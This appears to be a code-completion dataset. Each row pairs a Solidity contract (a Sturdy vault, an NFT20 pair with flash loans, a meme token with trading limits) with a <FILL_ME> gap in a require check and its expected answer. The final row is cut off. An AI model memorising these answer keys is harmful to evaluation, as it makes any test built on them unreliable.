function processYield() external virtual;
/**
* @dev Get price per share based on yield strategy
* @return The value of price per share
*/
function pricePerShare() external view virtual returns (uint256);
/**
* @dev Set treasury address and vault fee
* - Caller is only PoolAdmin which is set on LendingPoolAddressesProvider contract
* @param _treasury The treasury address
* @param _fee The vault fee which has more two decimals, ex: 100% = 100_00
*/
function setTreasuryInfo(address _treasury, uint256 _fee) public payable virtual onlyAdmin {
}
/**
* @dev deposit collateral asset to lending pool
* @param _asset The address of collateral external asset
* @param _amount Collateral external asset amount
* @param _user The address of user
*/
function _deposit(
address _asset,
uint256 _amount,
address _user
) internal {
}
/**
* @dev Deposit collateral external asset to yield pool based on strategy and receive collateral internal asset
* @param _asset The address of collateral external asset
* @param _amount The amount of collateral external asset
* @return The address of collateral internal asset
* @return The amount of collateral internal asset
*/
function _depositToYieldPool(address _asset, uint256 _amount)
internal
virtual
returns (address, uint256);
/**
* @dev Withdraw collateral internal asset from yield pool based on strategy and deliver collateral external asset
* @param _asset The address of collateral external asset
* @param _amount The withdrawal amount of collateral internal asset
* @param _to The address of receiving collateral external asset
* @return The amount of collateral external asset
*/
function _withdrawFromYieldPool(
address _asset,
uint256 _amount,
address _to
) internal virtual returns (uint256);
/**
* @dev Get Withdrawal amount of collateral internal asset based on strategy
* @param _asset The address of collateral external asset
* @param _amount The withdrawal amount of collateral external asset
* @return The address of collateral internal asset
* @return The withdrawal amount of collateral internal asset
*/
function _getWithdrawalAmount(address _asset, uint256 _amount)
internal
view
virtual
returns (address, uint256);
}
| _addressesProvider.getAddress('YIELD_PROCESSOR')==msg.sender,Errors.CALLER_NOT_YIELD_PROCESSOR | 242,839 | _addressesProvider.getAddress('YIELD_PROCESSOR')==msg.sender |
Errors.VT_INVALID_CONFIGURATION | // SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
import {ILendingPool} from '../../interfaces/ILendingPool.sol';
import {PercentageMath} from '../libraries/math/PercentageMath.sol';
import {Errors} from '../libraries/helpers/Errors.sol';
import {VersionedInitializable} from '../../protocol/libraries/sturdy-upgradeability/VersionedInitializable.sol';
import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol';
import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol';
import {IERC20Detailed} from '../../dependencies/openzeppelin/contracts/IERC20Detailed.sol';
import {Address} from '../../dependencies/openzeppelin/contracts/Address.sol';
/**
* @title GeneralVault
* @notice Basic feature of vault
* @author Sturdy
**/
abstract contract GeneralVault is VersionedInitializable {
using PercentageMath for uint256;
/**
* @dev Emitted on processYield()
* @param collateralAsset The address of the collateral asset
* @param yieldAmount The processed yield amount
**/
event ProcessYield(address indexed collateralAsset, uint256 yieldAmount);
/**
* @dev Emitted on depositCollateral()
* @param collateralAsset The address of the collateral asset
* @param from The address of depositor
* @param amount The deposit amount
**/
event DepositCollateral(address indexed collateralAsset, address indexed from, uint256 amount);
/**
* @dev Emitted on withdrawCollateral()
* @param collateralAsset The address of the collateral asset
* @param to The address of receiving collateral
* @param amount The withdrawal amount
**/
event WithdrawCollateral(address indexed collateralAsset, address indexed to, uint256 amount);
/**
* @dev Emitted on setTreasuryInfo()
* @param treasuryAddress The address of treasury
* @param fee The vault fee
**/
event SetTreasuryInfo(address indexed treasuryAddress, uint256 fee);
modifier onlyAdmin() {
}
modifier onlyYieldProcessor() {
}
struct AssetYield {
address asset;
uint256 amount;
}
ILendingPoolAddressesProvider internal _addressesProvider;
// vault fee 20%
uint256 internal _vaultFee;
address internal _treasuryAddress;
uint256 private constant VAULT_REVISION = 0x4;
address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/**
* @dev Function is invoked by the proxy contract when the Vault contract is deployed.
* - Caller is initializer (LendingPoolAddressesProvider or deployer)
* @param _provider The address of the provider
**/
function initialize(ILendingPoolAddressesProvider _provider) external initializer {
require(<FILL_ME>)
_addressesProvider = _provider;
}
function getRevision() internal pure override returns (uint256) {
}
/**
* @dev Deposits an `_amount` of asset as collateral to borrow other asset.
* - Caller is anyone
* @param _asset The address for collateral external asset
* _asset = 0x0000000000000000000000000000000000000000 means to use ETH as collateral
* @param _amount The deposit amount
*/
function depositCollateral(address _asset, uint256 _amount) external payable virtual {
}
/**
* @dev Deposits an `_amount` of asset as collateral to borrow other asset.
* - Caller is anyone
* @param _asset The address for collateral external asset
* _asset = 0x0000000000000000000000000000000000000000 means to use ETH as collateral
* @param _amount The deposit amount
* @param _user The depositor address
*/
function depositCollateralFrom(
address _asset,
uint256 _amount,
address _user
) external payable virtual {
}
/**
* @dev Withdraw an `_amount` of asset used as collateral to user.
* - Caller is anyone
* @param _asset The address for collateral external asset
* _asset = 0x0000000000000000000000000000000000000000 means to use ETH as collateral
* @param _amount The collateral external asset's amount to be withdrawn
* @param _slippage The slippage of the withdrawal amount. 1% = 100
* @param _to Address that will receive the underlying, same as msg.sender if the user
* wants to receive it on his own wallet, or a different address if the beneficiary is a
* different wallet
*/
function withdrawCollateral(
address _asset,
uint256 _amount,
uint256 _slippage,
address _to
) external virtual {
}
/**
* @dev Convert an `_amount` of collateral internal asset to collateral external asset and send to caller on liquidation.
* - Caller is only LendingPool
* @param _asset The address of collateral external asset
* _asset = 0x0000000000000000000000000000000000000000 means to use ETH as collateral
* @param _amount The amount of collateral internal asset
* @return The amount of collateral external asset
*/
function withdrawOnLiquidation(address _asset, uint256 _amount)
external
virtual
returns (uint256);
/**
* @dev Get yield based on strategy and re-deposit
* - Caller is anyone
*/
function processYield() external virtual;
/**
* @dev Get price per share based on yield strategy
* @return The value of price per share
*/
function pricePerShare() external view virtual returns (uint256);
/**
* @dev Set treasury address and vault fee
* - Caller is only PoolAdmin which is set on LendingPoolAddressesProvider contract
* @param _treasury The treasury address
* @param _fee The vault fee which has more two decimals, ex: 100% = 100_00
*/
function setTreasuryInfo(address _treasury, uint256 _fee) public payable virtual onlyAdmin {
}
/**
* @dev deposit collateral asset to lending pool
* @param _asset The address of collateral external asset
* @param _amount Collateral external asset amount
* @param _user The address of user
*/
function _deposit(
address _asset,
uint256 _amount,
address _user
) internal {
}
/**
* @dev Deposit collateral external asset to yield pool based on strategy and receive collateral internal asset
* @param _asset The address of collateral external asset
* @param _amount The amount of collateral external asset
* @return The address of collateral internal asset
* @return The amount of collateral internal asset
*/
function _depositToYieldPool(address _asset, uint256 _amount)
internal
virtual
returns (address, uint256);
/**
* @dev Withdraw collateral internal asset from yield pool based on strategy and deliver collateral external asset
* @param _asset The address of collateral external asset
* @param _amount The withdrawal amount of collateral internal asset
* @param _to The address of receiving collateral external asset
* @return The amount of collateral external asset
*/
function _withdrawFromYieldPool(
address _asset,
uint256 _amount,
address _to
) internal virtual returns (uint256);
/**
* @dev Get Withdrawal amount of collateral internal asset based on strategy
* @param _asset The address of collateral external asset
* @param _amount The withdrawal amount of collateral external asset
* @return The address of collateral internal asset
* @return The withdrawal amount of collateral internal asset
*/
function _getWithdrawalAmount(address _asset, uint256 _amount)
internal
view
virtual
returns (address, uint256);
}
| address(_provider)!=address(0),Errors.VT_INVALID_CONFIGURATION | 242,839 | address(_provider)!=address(0) |
"flashloans not allowed" | pragma solidity ^0.6.0;
// ERC721
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
// ERC1155
import "@openzeppelin/contracts/token/ERC1155/ERC1155Receiver.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "./ERC20.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
interface IFactory {
function fee() external view returns (uint256);
function sellTokens() external;
function flashLoansEnabled() external view returns (bool);
}
interface IFlashLoanReceiver {
function executeOperation(
uint256[] calldata _ids,
uint256[] calldata _amounts,
address initiator,
bytes calldata params
) external returns (bool);
}
contract NFT20Pair is ERC20, IERC721Receiver, ERC1155Receiver {
address public factory;
address public nftAddress;
uint256 public nftType;
uint256 public nftValue;
mapping(uint256 => uint256) public track1155;
// this is from old store, don't remove
using EnumerableSet for EnumerableSet.UintSet;
EnumerableSet.UintSet lockedNfts;
event Withdraw(uint256[] indexed _tokenIds, uint256[] indexed amounts);
// create new token
constructor() public {}
function init(
string memory _name,
string memory _symbol,
address _nftAddress,
uint256 _nftType
) public payable {
}
modifier flashloansEnabled() {
require(<FILL_ME>)
_;
}
function getInfos()
public
view
returns (
uint256 _type,
string memory _name,
string memory _symbol,
uint256 _supply
)
{
}
// withdraw nft and burn tokens
function withdraw(
uint256[] calldata _tokenIds,
uint256[] calldata amounts,
address recipient
) external {
}
function _withdraw1155(
address _from,
address _to,
uint256 _tokenId,
uint256 value
) internal {
}
function _batchWithdraw1155(
address _from,
address _to,
uint256[] memory ids,
uint256[] memory amounts
) internal {
}
function multi721Deposit(uint256[] memory _ids, address _referral) public {
}
function swap721(uint256 _in, uint256 _out) external {
}
function swap1155(
uint256[] calldata in_ids,
uint256[] calldata in_amounts,
uint256[] calldata out_ids,
uint256[] calldata out_amounts
) external {
}
function _withdraw721(
address _from,
address _to,
uint256 _tokenId
) internal {
}
function onERC721Received(
address operator,
address,
uint256,
bytes memory data
) public virtual override returns (bytes4) {
}
function onERC1155Received(
address operator,
address,
uint256,
uint256 value,
bytes memory data
) public virtual override returns (bytes4) {
}
function onERC1155BatchReceived(
address operator,
address,
uint256[] memory ids,
uint256[] memory values,
bytes memory data
) public virtual override returns (bytes4) {
}
// set new params
function setParams(
uint256 _nftType,
string calldata _name,
string calldata _symbol,
uint256 _nftValue
) external {
}
function bytesToAddress(bytes memory b) public view returns (address) {
}
function flashLoan(
uint256[] calldata _ids,
uint256[] calldata _amounts,
address _operator,
bytes calldata _params
) external flashloansEnabled() {
}
}
| IFactory(factory).flashLoansEnabled(),"flashloans not allowed" | 243,077 | IFactory(factory).flashLoansEnabled() |
"Execution Failed" | pragma solidity ^0.6.0;
// ERC721
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
// ERC1155
import "@openzeppelin/contracts/token/ERC1155/ERC1155Receiver.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "./ERC20.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
interface IFactory {
function fee() external view returns (uint256);
function sellTokens() external;
function flashLoansEnabled() external view returns (bool);
}
interface IFlashLoanReceiver {
function executeOperation(
uint256[] calldata _ids,
uint256[] calldata _amounts,
address initiator,
bytes calldata params
) external returns (bool);
}
contract NFT20Pair is ERC20, IERC721Receiver, ERC1155Receiver {
address public factory;
address public nftAddress;
uint256 public nftType;
uint256 public nftValue;
mapping(uint256 => uint256) public track1155;
// this is from old store, don't remove
using EnumerableSet for EnumerableSet.UintSet;
EnumerableSet.UintSet lockedNfts;
event Withdraw(uint256[] indexed _tokenIds, uint256[] indexed amounts);
// create new token
constructor() public {}
function init(
string memory _name,
string memory _symbol,
address _nftAddress,
uint256 _nftType
) public payable {
}
modifier flashloansEnabled() {
}
function getInfos()
public
view
returns (
uint256 _type,
string memory _name,
string memory _symbol,
uint256 _supply
)
{
}
// withdraw nft and burn tokens
function withdraw(
uint256[] calldata _tokenIds,
uint256[] calldata amounts,
address recipient
) external {
}
function _withdraw1155(
address _from,
address _to,
uint256 _tokenId,
uint256 value
) internal {
}
function _batchWithdraw1155(
address _from,
address _to,
uint256[] memory ids,
uint256[] memory amounts
) internal {
}
function multi721Deposit(uint256[] memory _ids, address _referral) public {
}
function swap721(uint256 _in, uint256 _out) external {
}
function swap1155(
uint256[] calldata in_ids,
uint256[] calldata in_amounts,
uint256[] calldata out_ids,
uint256[] calldata out_amounts
) external {
}
function _withdraw721(
address _from,
address _to,
uint256 _tokenId
) internal {
}
function onERC721Received(
address operator,
address,
uint256,
bytes memory data
) public virtual override returns (bytes4) {
}
function onERC1155Received(
address operator,
address,
uint256,
uint256 value,
bytes memory data
) public virtual override returns (bytes4) {
}
function onERC1155BatchReceived(
address operator,
address,
uint256[] memory ids,
uint256[] memory values,
bytes memory data
) public virtual override returns (bytes4) {
}
// set new params
function setParams(
uint256 _nftType,
string calldata _name,
string calldata _symbol,
uint256 _nftValue
) external {
}
function bytesToAddress(bytes memory b) public view returns (address) {
}
function flashLoan(
uint256[] calldata _ids,
uint256[] calldata _amounts,
address _operator,
bytes calldata _params
) external flashloansEnabled() {
require(_ids.length < 80, "To many NFTs");
if (nftType == 1155) {
IERC1155(nftAddress).safeBatchTransferFrom(
address(this),
_operator,
_ids,
_amounts,
"0x0"
);
} else {
for (uint8 index; index < _ids.length; index++) {
IERC721(nftAddress).safeTransferFrom(
address(this),
_operator,
_ids[index]
);
}
}
require(<FILL_ME>)
if (nftType == 1155) {
IERC1155(nftAddress).safeBatchTransferFrom(
_operator,
address(this),
_ids,
_amounts,
"INTERNAL"
);
} else {
for (uint8 index; index < _ids.length; index++) {
IERC721(nftAddress).transferFrom(
_operator,
address(this),
_ids[index]
);
}
}
}
}
| IFlashLoanReceiver(_operator).executeOperation(_ids,_amounts,msg.sender,_params),"Execution Failed" | 243,077 | IFlashLoanReceiver(_operator).executeOperation(_ids,_amounts,msg.sender,_params) |
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | // OpenZeppelin Contracts (last updated v4.9.0) (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
pragma solidity ^0.8.0;
contract ELONMEME is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
address public router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
bool private swapping;
address private operationsWallet;
uint256 public maxTransaction;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferBlock;
bool public transferDelayEnabled = true;
uint256 public buyFees;
uint256 public sellFees;
uint256 private _maxSwapableTokens;
uint256 public _preventSwapBefore = 10;
uint256 public _removeLimitsAt = 10;
uint256 public _totalBuys = 0;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedmaxTransaction;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress,address indexed oldAddress);
event SwapAndLiquify(uint256 tokensSwapped,uint256 ethReceived,uint256 tokensIntoLiquidity);
event setOperationsWalletUpdated(address indexed newOperationsWallet);
event setExcludeFromFeesUpdate(address indexed account, bool newStatus);
event setAutomatedMarketMakerPairUpdate(address indexed pair, bool indexed value);
event setSwapTokensAtAmountUpdate(uint256 newTokenAmount);
event setMaxTransactionUpdate(uint256 newTokenAmount);
event setMaxWalletUpdate(uint256 newTokenAmount);
event setExcludeFromMaxTransactionUpdate(address newAddress, bool newStatus);
event setUpdateSwapEnabledUpdate(bool newStatus);
event setBuyFeeUpdated(uint256 newOperationsFee);
event setSellFeeUpdated(uint256 newOperationsFee);
constructor(address _operationsWallet) ERC20("ELONMEME", "ELONMEME", 9) {
}
receive() external payable {}
function openTrading() external payable onlyOwner() {
}
function removeLimits() internal returns (bool) {
}
function disableLimits(bool tValue, bool lValue) external onlyOwner {
}
function disableTransferDelay() external onlyOwner returns (bool) {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(<FILL_ME>)
_holderLastTransferBlock[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedmaxTransaction[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedmaxTransaction[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
} else if (!_isExcludedmaxTransaction[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to] &&
_totalBuys > _preventSwapBefore
) {
swapping = true;
swapBack(min(contractTokenBalance, _maxSwapableTokens));
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellFees > 0) {
fees = amount.mul(sellFees).div(10_000);
}
// on buy
else if (automatedMarketMakerPairs[from] && buyFees > 0) {
fees = amount.mul(buyFees).div(10_000);
_totalBuys++;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
if (_totalBuys >= _removeLimitsAt && limitsInEffect) {
removeLimits();
}
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack(uint256 amount) private {
}
// ADMIN
function setAutomatedMarketMakerPair(address pair, bool newStatus) public onlyOwner {
}
function setSwapTokensAtAmount(uint256 newTokenAmount) external onlyOwner returns (bool) {
}
function setMaxTransaction(uint256 newTokenAmount) external onlyOwner {
}
function setMaxWallet(uint256 newTokenAmount) external onlyOwner {
}
function setExcludeFromMaxTransaction(address newAddress, bool newStatus) public onlyOwner {
}
function setUpdateSwapEnabled(bool newStatus) external onlyOwner {
}
function setBuyFee(uint256 newOperationsFee) external onlyOwner {
}
function setSellFee(uint256 newOperationsFee) external onlyOwner {
}
function setExcludeFromFees(address account, bool newStatus) public onlyOwner {
}
function setOperationsWallet(address newOperationsWallet) external onlyOwner {
}
}
| _holderLastTransferBlock[tx.origin]<block.number,"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | 243,349 | _holderLastTransferBlock[tx.origin]<block.number |
"Swap amount cannot be lower than 0.001% total supply." | // OpenZeppelin Contracts (last updated v4.9.0) (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
pragma solidity ^0.8.0;
contract ELONMEME is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
address public router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
bool private swapping;
address private operationsWallet;
uint256 public maxTransaction;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferBlock;
bool public transferDelayEnabled = true;
uint256 public buyFees;
uint256 public sellFees;
uint256 private _maxSwapableTokens;
uint256 public _preventSwapBefore = 10;
uint256 public _removeLimitsAt = 10;
uint256 public _totalBuys = 0;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedmaxTransaction;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress,address indexed oldAddress);
event SwapAndLiquify(uint256 tokensSwapped,uint256 ethReceived,uint256 tokensIntoLiquidity);
event setOperationsWalletUpdated(address indexed newOperationsWallet);
event setExcludeFromFeesUpdate(address indexed account, bool newStatus);
event setAutomatedMarketMakerPairUpdate(address indexed pair, bool indexed value);
event setSwapTokensAtAmountUpdate(uint256 newTokenAmount);
event setMaxTransactionUpdate(uint256 newTokenAmount);
event setMaxWalletUpdate(uint256 newTokenAmount);
event setExcludeFromMaxTransactionUpdate(address newAddress, bool newStatus);
event setUpdateSwapEnabledUpdate(bool newStatus);
event setBuyFeeUpdated(uint256 newOperationsFee);
event setSellFeeUpdated(uint256 newOperationsFee);
constructor(address _operationsWallet) ERC20("ELONMEME", "ELONMEME", 9) {
}
receive() external payable {}
function openTrading() external payable onlyOwner() {
}
function removeLimits() internal returns (bool) {
}
function disableLimits(bool tValue, bool lValue) external onlyOwner {
}
function disableTransferDelay() external onlyOwner returns (bool) {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack(uint256 amount) private {
}
// ADMIN
function setAutomatedMarketMakerPair(address pair, bool newStatus) public onlyOwner {
}
function setSwapTokensAtAmount(uint256 newTokenAmount) external onlyOwner returns (bool) {
require(<FILL_ME>)
require(
newTokenAmount <= (totalSupply() * 100) / 10_000,
"Swap amount cannot be higher than 1% total supply."
);
swapTokensAtAmount = newTokenAmount;
emit setSwapTokensAtAmountUpdate(newTokenAmount);
return true;
}
function setMaxTransaction(uint256 newTokenAmount) external onlyOwner {
}
function setMaxWallet(uint256 newTokenAmount) external onlyOwner {
}
function setExcludeFromMaxTransaction(address newAddress, bool newStatus) public onlyOwner {
}
function setUpdateSwapEnabled(bool newStatus) external onlyOwner {
}
function setBuyFee(uint256 newOperationsFee) external onlyOwner {
}
function setSellFee(uint256 newOperationsFee) external onlyOwner {
}
function setExcludeFromFees(address account, bool newStatus) public onlyOwner {
}
function setOperationsWallet(address newOperationsWallet) external onlyOwner {
}
}
| newTokenAmount>=(totalSupply()*1)/100_000,"Swap amount cannot be lower than 0.001% total supply." | 243,349 | newTokenAmount>=(totalSupply()*1)/100_000 |
"Swap amount cannot be higher than 1% total supply." | // OpenZeppelin Contracts (last updated v4.9.0) (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
